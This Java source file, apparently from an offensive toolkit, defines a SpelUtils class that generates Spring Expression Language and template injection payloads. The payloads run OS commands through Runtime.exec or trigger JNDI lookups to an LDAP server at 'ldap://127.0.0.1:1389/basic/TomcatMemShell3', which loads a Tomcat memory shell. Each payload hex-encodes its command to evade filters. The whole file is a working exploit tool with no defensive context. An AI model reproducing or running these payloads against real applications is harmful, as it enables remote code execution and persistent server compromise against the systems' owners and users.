package com.drops.utils;

import cn.hutool.core.util.HexUtil;
import com.sun.rowset.JdbcRowSetImpl;

/**
 * @ClassName: SpelUtils
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/26 16:25
 * @Version: v1.0.0
 * @Description:
 **/
public class SpelUtils {
    String Command = "calc";
    String rmi =  "ldap://127.0.0.1:1389/basic/TomcatMemShell3";

    public String SpelExpr(String cmd){
        String result = "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ ";
        String jndi = "${T(javax.naming.InitialContext().lookup(new String(new byte[]{ ";
        String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";


        StringBuilder sb = new StringBuilder();
        char[] ch = cmd.toCharArray();
        for (int i=0 ; i<ch.length; i++){
            sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
            if (i != ch.length -1 ){
                sb.append(",");
            }
        }

//        result += sb.append(" }))}").toString();
//        System.out.println(result);
//        return result;
//        jndi += sb.append(" })}").toString();
//        System.out.println(jndi);
//        return jndi;
        ldap += sb.append(" }))}").toString();
        System.out.println(ldap);
        return ldap;

    }

    public String SpelSsti(String cmd){

        String ssti = "${\"a\".getClass().forName(\"javax.naming.InitialContext\").getMethod(\"lookup\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.naming.InitialContext\").newInstance(),";
        StringBuilder sb = new StringBuilder();
        char[] ch = cmd.toCharArray();
        for (int i=0 ; i<ch.length; i++){
            sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
            if (i != ch.length -1 ){
                sb.append(",");
            }
        }
        ssti += sb.append(" )}").toString();
        System.out.println(ssti);


        return ssti;
    }

    public static void main(String[] args) {
       SpelUtils s = new SpelUtils();
//       s.SpelExpr(s.rmi);
       s.SpelSsti(s.rmi);

    }


}
